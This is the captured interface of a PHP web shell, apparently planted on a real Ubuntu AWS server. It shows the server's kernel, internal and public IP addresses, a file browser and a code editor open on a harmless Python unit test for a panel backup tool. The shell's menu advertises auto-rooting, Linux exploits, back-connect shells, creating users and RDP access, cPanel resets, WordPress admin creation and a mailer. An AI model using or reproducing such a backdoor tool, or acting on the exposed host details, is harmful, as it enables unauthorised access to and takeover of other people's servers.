Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.142.237.71
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
panel /
mod /
test /
[ HOME SHELL ]
Name
Size
Permission
Action
docker
[ DIR ]
drwxr-xr-x
java
[ DIR ]
drwxr-xr-x
php
[ DIR ]
drwxr-xr-x
process
[ DIR ]
drwxr-xr-x
test_git
[ DIR ]
drwxr-xr-x
test_web_conf
[ DIR ]
drwxr-xr-x
__init__.py
0
B
-rw-r--r--
test_backup_tool.py
934
B
-rw-r--r--
test_database_tool.py
1.31
KB
-rw-r--r--
test_version_tool.py
808
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_version_tool.py
import os import shutil import sys import time from unittest import TestCase if "/www/server/panel" not in sys.path: sys.path.insert(0, "/www/server/panel") from mod.base.backup_tool import VersionTool class TestVersionTool(TestCase): def test_backup(self): src = "/www/wwwroot/aaa.test.com" v = VersionTool() print(v.publish("aaa", src, "1.0.0", sync=False)) print(v.version_list("aaa")) time.sleep(2) # 等待执行完成 # print(BackupTool().backup(src, sub_dir=sub_dir, sync=True, site_info=site_info)) v.recover('aaa', '1.0.0', src) def runTest(self): self.test_backup() if __name__ == '__main__': import unittest s = unittest.TestSuite() s.addTest(TestVersionTool()) unittest.TextTestRunner().run(s)
Close